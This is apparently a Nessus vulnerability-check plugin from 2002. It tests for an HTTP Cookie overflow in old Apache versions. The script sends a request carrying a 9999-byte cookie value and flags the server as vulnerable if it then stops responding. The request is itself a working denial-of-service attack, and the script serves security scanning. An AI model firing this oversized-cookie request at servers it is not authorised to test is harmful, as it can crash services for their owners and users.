# # This script was written by Michel Arboi # GPL # *untested* # # References: # Affected: # Apache < 1.1 # if(description) { script_id(11077); script_version ("$Revision$"); name["english"] = "HTTP Cookie overflow"; script_name(english:name["english"]); desc["english"] = "It was possible to kill the web server by sending an invalid request with a too long Cookie name or value A cracker may exploit this vulnerability to make your web server crash continually or even execute arbirtray code on your system. Solution : upgrade your software or protect it with a filtering reverse proxy Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Too big Cookie chokes the web server"; script_summary(english:summary["english"]); script_category(ACT_DENIAL); # All the www_too_long_*.nasl scripts were first declared as # ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them: # The web server might be killed by those generic tests before Nessus # has a chance to perform known attacks for which a patch exists # As ACT_DENIAL are performed one at a time (not in parallel), this reduces # the risk of false positives. script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi"); family["english"] = "Gain root remotely"; family["francais"] = "Passer root à distance"; script_family(english:family["english"], francais:family["francais"]); script_dependencies("find_service.nes", "http_version.nasl", "no404.nasl"); script_require_ports("Services/www", 80); exit(0); } ######## include ("http_func.inc"); port = get_kb_item("Services/www"); if(!port) port = 80; if(! get_port_state(port)) exit(0); if (http_is_dead(port: port)) exit(0); soc = http_open_socket(port); if(! soc) exit(0); # If the server sends us a cookie, we will reply with it... # Slightly modified :-) r = http_get(item:"/", port: port); send(socket:soc, data: r); h = http_recv_headers(soc); r = http_recv_body(socket: soc, headers:h); close(soc); ck = egrep(pattern: "^Set-Cookie: ", string: h); ckn="Nessus"; if (ck) { ckn = ereg_replace(string: ck, pattern: "^Set-Cookie: +([^=;]+)=.*", replace:"\1"); } soc = http_open_socket(port); if(!soc) exit(0); r = http_get(item:"/", port: port); r= r - string("\r\n\r\n"); r= string(r, "\r\n", "Cookie: ", ckn, "=", crap(9999), "\r\n\r\n"); send(socket:soc, data: r); r = http_recv(socket: soc); http_close_socket(soc); if (http_is_dead(port: port, retry:1)) { security_hole(port); exit(0); }